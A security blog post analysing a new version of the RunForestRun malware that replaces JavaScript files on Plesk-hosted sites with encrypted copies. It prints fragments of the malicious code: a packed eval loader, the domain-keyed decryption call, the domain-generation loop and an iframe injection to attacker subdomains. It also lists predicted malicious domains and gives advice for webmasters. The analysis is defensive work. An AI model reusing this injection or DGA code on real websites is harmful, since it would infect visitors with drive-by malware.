RunForestRun Now Encrypts Legitimate JS Files

A few days ago Jindrich Kubec (Avast) pinged me that the RunForestRun malware changed the domain generating algorithm (DGA) and now uses waw.pl subdomains (instead of .ru) in malicious URLs.

I decided to take a look at the new scripts and found quite a few very interesting changes. This post will be about those changes.

RunForestRun recap

Just a quick recap of the RunForestRun attack: It began in mid-June and infected many servers with Plesk Panel since then. Hackers used Plesk’s File Manager to inject malicious code (mainly) at the bottom of .js files. That malicious code used a Black Hole obfuscator and was always surrounded by the /*km0ae9gr6m*/…/*qhk6sa6g1c*/ pair of comments, which made it very easy to clean up whole servers using just a single regexp.

Another interesting feature of the original RunForestRun attack was the domain name generating algorithm built into its malicious scripts. It generated two new unreadable .ru domains every day and used them for iframe injection. Although the algorithm called itself “pseudo-random“, it actually lacked any randomness at all, thus all the domain names it could ever generate (today, tomorrow, next month, in a hundred years, etc.) were easily predicted.

New version of RunForestRun scripts

However everything changes and now we can see a significantly improved version of the RunForestRun attack – they definitely learn from they own mistakes.

Infected and encrypted .js files

As previously, the attack targets .js files on Plesk-pоwered servers. However, instead of appending legitimate files with an easily identifiable line of the malicious code, this time they replace the whole content of the legitimate .js files.

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String...REMOVED...QEE|Sktl|8QaUx|MU|EbD|Rb|kpVHmU|0xUQ0|NAWHo|typeof|_typeof_|undefined|else|sgVxTrfNlm'.split('|'),0,{}))

As you can see, the comment signature is gone and the legitimate code is no longer there. Moreover, the code is different in every infected .js file even on the same site. This means that server admins:

• can’t easily identify infected files — there’s no signature
• can’t use a simple regexp to find and remove the malicious code from all infected files — the code is varies from file to file and the only common part is the packer code used by many legitimate .js libraries, e.g. jQuery)
• can’t simply remove the malicious code — it will remove the legitimate code too and break websites.

The code (full example) is packed with a popular (both among legitimate JS programmers and malware writers) Dean Edwards’ Javascript Packer. It’s very easy to decode but it’s only the first layer. The second layer is more interesting (see the full code here):

Site-dependent JS encryption

It contains two long encrypted strings. The code decrypts and executes them. Apparently the first string is the encrypted legitimate content of the infected .js file (that’s why even with replaced content of .js files hacked websites still work) and the second string is the encrypted copy of the malicious code.

To make things more interesting, both strings are encrypted using the domain name of the hacked site as an encryption key. This means that if you only have a copy of the malicious code but don’t know the domain name of the site it was found on, then you won’t be able to (easily) decode it.

this.LdgeJzxGT = function() {
return this["TpPoqfTGS"](this.getTopHost(window["location"]["host"]), this.PPZyLUke(this.NfScKqzGUKfkt))
};

That also answers why every infected .js file has different malicious code in it. The final code depends on the combination of two factors: site domain name and content of the .js file — apparently this combination is unique (unless someone has two identical .js files on the same site — why?)

By the way, the encryption code is still buggy as I saw sites where the legitimate code won’t decrypt.

Updated domain generating algorithm

Now let’s take a look at the decoded malicious part of the script (full version here). It’s basically the same code that generates domain names and injects iframes as we saw in the original RunForestRun attack. However there are a few significant changes:

1. At the very top of the code we can see the following two comment lines:

//Congratulations! you have successfully extracted the gootkit payload
//this means i must work hardly :(

The malware author left a message to us. Apparently he has sense of humor and desire to improve the script obfuscation techniques. Well, this new version is much more interesting to decode. I liked the “domain name as an encryption key” trick, I didn’t see it before. Nonetheless for tools that use JavaScript engines and can decode all script directly on infected sites the same way that web browsers do, this new layer of obfuscation is hardly noticeable.

2. Instead of .ru domains, this new algorithm generates subdomains on waw.pl. This version also uses the botnet_api sid parameter.

var domainName = generatePseudoRandomString(unix, 16, 'waw.pl');
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet_api");

3. And the most important change is the DGA now generates really random domain names.

for (var i = 0; i < subdomainlen; i++) {
str += letters[Math.floor(Math.random() * (letters.length - 1))];
}
str += '.'
for (var i = 0; i < length; i++) {
str += letters[createRandomNumber(rand, 0, letters.length - 1)];
}

The generated URLs look like this:
hxxp://vvsadnfpurghr .wnozimymvmaxkszo .waw .pl/runforestrun?sid=botnet_api
hxxp://dpolzxzkrrfvk .erzeyvxfqerffrql .waw .pl/runforestrun?sid=botnet_api.

They are really random and change on every script execution.

Still easily predictable

So how the attackers know what domains to registers so that the injected iframes really load some malicious payload from their servers? The answer is the generated domain names are not completely random. As you might notice, they actually consist of two parts: the third-level domain name and the forth-level domain name (e.g. nzseokfggewrwplmuph.hvguqfmfqgerbdro .waw .pl). The forth-level domain name (in this example nzseokfggewrwplmuph) is really random and can’t be predicted. But the third-level domain name (in this example hvguqfmfqgerbdro) is not random at all and thus can be as easily predicted the same way as domain names in the previous versions of RunForestRun DGA.

This “predictable third-level domain name plus any random fourth-level domain name” scheme works because of the DNS settings that map all forth-level domains to the same server as the third-level domain name. By the way, right now this attack uses the 78 .46 .11 .101 server (Hetzner Online Ag, Germany).

This scheme allows us to predict the third-level domains only and ignore any forth-level domains. For this algorithm, the significant domain names change 5 times a day. At this point I can see that domain names for the period of July 21, 2012 through August 5, 2012 are already registered via the Domain Silver Inc. (registered in the Seychelles, with the .pl support email) And by the way, waw.pl subdomains are not free to register — this adds some barrier to preregistering the predicted domain names.

Here is a list of the domains that are already registered. A more long list of the predicted domains can be found here (I know, they’ll eventually change the algo.)

*.qxpmhnrvrkqewurq.waw.pl // Sat Jul 21 2012 00:00:00
*.keefqnfsgqxrzlru.waw.pl // Sat Jul 21 2012 01:00:00
*.ekkugeunekaxqolz.waw.pl // Sat Jul 21 2012 07:00:00
*.svndeqsqughepaye.waw.pl // Sat Jul 21 2012 13:00:00
*.aksfkuuozvfqprms.waw.pl // Sat Jul 21 2012 19:00:00
*.zpqkervzziqffvas.waw.pl // Sun Jul 22 2012 00:00:00
*.uiuxumxroflzpfxr.waw.pl // Sun Jul 22 2012 01:00:00
*.godzexppowqkaoqg.waw.pl // Sun Jul 22 2012 07:00:00
*.hhrkeezqezsfpelh.waw.pl // Sun Jul 22 2012 13:00:00
*.oqvlfqreqpqofbkk.waw.pl // Sun Jul 22 2012 19:00:00
*.alipqiuzrguwesky.waw.pl // Mon Jul 23 2012 00:00:00
*.rfvnhrxyqrkfkafm.waw.pl // Mon Jul 23 2012 01:00:00
*.fvqrumayxausssro.waw.pl // Mon Jul 23 2012 07:00:00
*.zppiehqhzpovbkyq.waw.pl // Mon Jul 23 2012 13:00:00
*.xwusrevemsezfoqu.waw.pl // Mon Jul 23 2012 19:00:00
*.pzdhexgqhgrpwifw.waw.pl // Tue Jul 24 2012 00:00:00
*.erzeyvxfqerffrql.waw.pl // Tue Jul 24 2012 01:00:00
*.mzqqewpgyfeprbko.waw.pl // Tue Jul 24 2012 07:00:00
*.vpbuillzsunrkgmf.waw.pl // Tue Jul 24 2012 13:00:00
*.fmfqplgsqwrlhynp.waw.pl // Tue Jul 24 2012 19:00:00
*.pqzsevnefqzofzzu.waw.pl // Wed Jul 25 2012 00:00:00
*.ozpxhkavazfqfrhr.waw.pl // Wed Jul 25 2012 01:00:00
*.wnozimymvmaxkszo.waw.pl // Wed Jul 25 2012 07:00:00
*.ylivlvzmqsqksexk.waw.pl // Wed Jul 25 2012 13:00:00
*.sqqkemzgshwnkkrk.waw.pl // Wed Jul 25 2012 19:00:00
*.ahqqeqepkuzqqogq.waw.pl // Thu Jul 26 2012 00:00:00
*.oeaivqoeffszmazv.waw.pl // Thu Jul 26 2012 01:00:00
*.rnxqzzvvfvefzuef.waw.pl // Thu Jul 26 2012 07:00:00
*.hvguqfmfqgerbdro.waw.pl // Thu Jul 26 2012 13:00:00
*.efzsxqendefszqwv.waw.pl // Thu Jul 26 2012 19:00:00
*.ospferibuoqexlrq.waw.pl // Fri Jul 27 2012 00:00:00
*.uoqyiwgfhwalhsrf.waw.pl // Fri Jul 27 2012 01:00:00
*.eggqeufupvpffbku.waw.pl // Fri Jul 27 2012 07:00:00
*.gpzzurpvvqevszuv.waw.pl // Fri Jul 27 2012 13:00:00
*.nirqnuaqaneqszrf.waw.pl // Fri Jul 27 2012 19:00:00
*.xkmrvsfqohzoqoux.waw.pl // Sat Jul 28 2012 00:00:00
*.vbgkesevmqqaypeo.waw.pl // Sat Jul 28 2012 01:00:00
*.fekknfieornfndye.waw.pl // Sat Jul 28 2012 07:00:00
*.fyllfpuqesfponzo.waw.pl // Sat Jul 28 2012 13:00:00
*.suarglxquxbrvxor.waw.pl // Sat Jul 28 2012 19:00:00
*.rsmwnxvfaqxxqehg.waw.pl // Sun Jul 29 2012 00:00:00
*.lusseoiqfrxlzuoy.waw.pl // Sun Jul 29 2012 01:00:00
*.xhofnxueyreenhpk.waw.pl // Sun Jul 29 2012 07:00:00
*.qqphrhvzgrrylhro.waw.pl // Sun Jul 29 2012 13:00:00
*.drqlgnkfobrsgmmz.waw.pl // Sun Jul 29 2012 19:00:00
*.svkpeszmgaofdqqu.waw.pl // Mon Jul 30 2012 00:00:00
*.qvlueezqezvskfnq.waw.pl // Mon Jul 30 2012 01:00:00
*.uyveaqhufkeiqmsn.waw.pl // Mon Jul 30 2012 07:00:00
*.mazszkkqfhfqegva.waw.pl // Mon Jul 30 2012 13:00:00
*.qrkrqzsvzulbxhka.waw.pl // Mon Jul 30 2012 19:00:00
*.eorazzorfyrzbuge.waw.pl // Tue Jul 31 2012 00:00:00
*.qrakxlhymofsynvy.waw.pl // Tue Jul 31 2012 01:00:00
*.bqeqrlhkuqngrrps.waw.pl // Tue Jul 31 2012 07:00:00
*.qrmfekadorhpflqv.waw.pl // Tue Jul 31 2012 13:00:00
*.kqyeqozzfmkymirf.waw.pl // Tue Jul 31 2012 19:00:00
*.gherznlxvquzzpeu.waw.pl // Wed Aug 01 2012 00:00:00
*.hhkvnxqfmoeapkbp.waw.pl // Wed Aug 01 2012 01:00:00
*.oqnuvrfqqakovrfl.waw.pl // Wed Aug 01 2012 07:00:00
*.ueskvqmzogzfrsqe.waw.pl // Wed Aug 01 2012 13:00:00
*.enoxhrnvodxmhxyy.waw.pl // Wed Aug 01 2012 19:00:00
*.fprpsvfmzyrffogi.waw.pl // Thu Aug 02 2012 00:00:00
*.zwkeqrlypenxpsqe.waw.pl // Thu Aug 02 2012 01:00:00
*.xsksvonlfapekhbn.waw.pl // Thu Aug 02 2012 07:00:00
*.vzyhrrsrhukewmek.waw.pl // Thu Aug 02 2012 13:00:00
*.fhxlpzqkhqrsrkir.waw.pl // Thu Aug 02 2012 19:00:00
*.mpqvrgffxxqhrzod.waw.pl // Fri Aug 03 2012 00:00:00
*.vqquhooovmygrevg.waw.pl // Fri Aug 03 2012 01:00:00
*.rrpfohgpheelfzwh.waw.pl // Fri Aug 03 2012 07:00:00
*.lqurmseafhehsvnx.waw.pl // Fri Aug 03 2012 13:00:00
*.xeeenpgoglhfrqks.waw.pl // Fri Aug 03 2012 19:00:00
*.wlheaaxefhoqqmpk.waw.pl // Sat Aug 04 2012 00:00:00
*.dqxloavroqrqlrny.waw.pl // Sat Aug 04 2012 01:00:00
*.ssvgmyklgkfaqnfr.waw.pl // Sat Aug 04 2012 07:00:00
*.qorauruzaalvsvvr.waw.pl // Sat Aug 04 2012 13:00:00
*.uedhuenyfxgrfbue.waw.pl // Sat Aug 04 2012 19:00:00
*.mvrsfxykiekoqysm.waw.pl // Sun Aug 05 2012 00:00:00
*.hfoeozvdlvzkkqip.waw.pl // Sun Aug 05 2012 01:00:00

Roundup

This new version of the RunForestRun attack:

• Still infects sites on Plesk-powered servers
• Instead of simply adding easily detectable and removable line of code into legitimate .js files it now encrypts whole .js files adding some malicious extra to them, which makes it troublesome to automatically find infected files and clean them up. If you don’t have a backup, recovering legitimate .js files will be a problem too.
• Encrypted code is unique in every infected .js file. The domain name of the hacked site is used as an encryption key.
• The DGA now generates really random domain names, but the random part can be easily ignored. And the really significant part of the domain names is still easily predictable.

Unlike most of the rest massive website infections where hackers use more or less the same tricks for quite a long time (exploitation kits unify a lot of stuff), the RunForestRun guys are trying to invent something new. And although their solutions are not always efficient, I can see how they learn on their own mistakes and improve their code with every iteration. I wish they worked on something more constructive though.

To Webmasters

1. Make sure you have a backup of your site. You have a backup, don’t you? You’ll need it to recover your .js files.
2. Make sure there in nothing suspicious is added to your site.
3. Important: Change all site passwords: FTP, Control Panel, etc. Don’t revert your old passwords if you hosting provider resets them.
4. Very important: Contact you hosting provider and show them this article and the article about the original RunForestRun attack. The attack uses server level security issues of the Plesk Panel and only your hosting provider can really stop reinfections.

Questions to readers

1. Can you confirm that this new waw.pl malicious code only affects .js files? If you see it in other types of files, does it encrypt legitimate content there too?
2. To encrypt legitimate files, the attackers need to download them first. Do you see those download requests in access or Plesk logs? Just curious. Do they use multiple IPs for such requests?
3. Did you come across websites infected with this version of the malicious code on servers that applied all the Plesk security patches and changed all passwords before July 20, 2012?

##
Your comments are much appreciated!

Similar posts:

• Runforestrun and Pseudo Random Domains
• Millions of Website Passwords Stored in Plain Text in Plesk Panel
• Lorem Ipsum and Twitter Trends in Malware
• Introduction to Website Parasites